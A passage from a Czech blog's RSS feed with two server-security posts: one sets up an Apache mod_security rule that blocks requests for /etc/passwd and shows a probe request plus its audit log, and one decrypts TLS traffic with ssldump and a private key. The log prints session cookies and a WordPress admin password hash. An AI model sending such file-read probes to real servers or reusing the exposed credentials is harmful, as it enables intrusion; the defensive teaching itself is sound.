skipnext:n, přskočí n pravidel</p>
<p><strong>Regexpové filtry</strong><br />
Asi nejjednodušším filtrem v mod_security je zadání SecFilter.<br />
V konfiguračním souboru apache/mod_security máme:<br />
<code>SecFilterEngine On<br />
SecFilterCheckURLEncoding On<br />
SecFilterCheckUnicodeEncoding Off<br />
SecAuditEngine RelevantOnly<br />
SecAuditLog /var/log/apache2/audit_log<br />
SecFilterDebugLog /var/log/apache2/modsec_debug_log<br />
SecFilterScanPOST On<br />
SecFilterDefaultAction "deny,log,status:500"<br />
SecFilter /etc/passwd</code></p>
<p>Jakmile do prohlížeče zadáme adresu například <a href="http://hodza.net/test.php?shell=/etc/passwd">http://hodza.net/test.php?shell=/etc/passwd</a>, vyhodí nám prohlížeč chybu 500 a  do /var/log/apache2/audit_log zapíše následující:</p>
<p><code>HTTP/1.1 500 Internal Server Error<br />
X-Powered-By: PHP/4.3.10-19<br />
Content-Length: 2166<br />
Connection: close<br />
Content-Type: text/html<br />
========================================<br />
Request: 85.160.65.12 - - [21/Mar/2007:11:23:55 +0100] "GET /test.php?shell=/etc/passwd HTTP/1.1" 500 2157<br />
Handler: (null)<br />
----------------------------------------<br />
GET /test.php?shell=/etc/passwd HTTP/1.1<br />
Host: hodza.net<br />
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11<br />
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />
Accept-Language: en-us,en;q=0.5<br />
Accept-Encoding: gzip,deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Keep-Alive: 300<br />
Connection: keep-alive<br />
Cookie: IMAIL_SESS_KEY_1174461441-18654=LIuOFNUhDI3vlqgL; IMAIL_SESS_KEY_1174458493-41266=6pdFfVCoIZlnTdz2; IMAIL_SESS_KEY_1174458956-45632=22MSPZFhVgcl4HBF; wpthemefd01865e503f46c67c4df25a7c0983da=Magellan; IMAIL_SESS_KEY_1174458444-78097=yICVpRLlelQ7b4WR; IMAIL_TEST_COOKIE=test; PHPSESSID=4968f3ea1b79953b8e1e20febf5c3bfd; phpMyAdmin=d44d6e2f64ccd35352989d45c30a9b90; wordpressuser_fd01865e503f46c67c4df25a7c0983da=admin; wordpresspass_fd01865e503f46c67c4df25a7c0983da=2fb3192c5df98faf13d864c4a3b1fd06; dbx-postmeta=grabit:0+|1-|2-|3-|4-|5-&amp;advancedstuff:0-|1-|2-<br />
mod_security-message: Access denied with code 500. Pattern match "/etc/passwd" at THE_REQUEST<br />
mod_security-action: 500<br />
HTTP/1.1 500 Internal Server Error<br />
X-Powered-By: PHP/4.3.10-19<br />
Content-Length: 2157<br />
Connection: close<br />
Content-Type: text/html</code></p>
<p><strong>Jak vidíte &#8211; krásné, jednoduché účinné a spolehlivé.</strong><br />
Další využití mod_security je na snadě. Při psaní příspěvku jsem si vzpomněl na <a href="http://e-ott.info/">Vlastu</a>, kdy měl v komentářích na blogu snad desetkrát řetězec &#8222;Cheap phentermine….&#8220;. Přitom stačilo zapnout mod_security a dát do konfiguráku <em>SecFilter &#8222;Cheap phentermine&#8220;</em> nebo zakázat spamerského User-Agenta, případně znepřístupnit blok IP adres odkud jsou příspěvky rozesílány.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/03/21/apache-mod-security/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Dumpování SSL session</title>
		<link>http://hodza.net/2007/02/02/dumpovani-ssl-session/</link>
		<comments>http://hodza.net/2007/02/02/dumpovani-ssl-session/#comments</comments>
		<pubDate>Fri, 02 Feb 2007 22:47:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=11</guid>
		<description><![CDATA[Někdy je zapotřebí DUMPovat SSLkové session. Přestože se považuji za velkého crackera a binárního schizofrenika , bez klíče se vám to prostě nepodaří. Dumpovat lze díky tomuto jednoduchému příklazu: # ssldump -d -A -k /etc/postfix/tls/private_key.pem -i eth1 -n host 195.39.10.7&#38; Nezapomeňte samozřejmně změnit IP adresu a privátní klíč.]]></description>
			<content:encoded><![CDATA[<p>Někdy je zapotřebí DUMPovat SSLkové session.  Přestože se považuji za velkého crackera <img src='http://hodza.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  a binárního schizofrenika <img src='http://hodza.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  <img src='http://hodza.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> , bez klíče se vám to prostě nepodaří. <span id="more-11"></span>Dumpovat lze díky tomuto jednoduchému příklazu:</p>
<p><code># ssldump -d -A -k /etc/postfix/tls/private_key.pem -i eth1 -n host 195.39.10.7&amp;</code></p>
<p>Nezapomeňte samozřejmně změnit IP adresu a privátní klíč.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/02/02/dumpovani-ssl-session/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

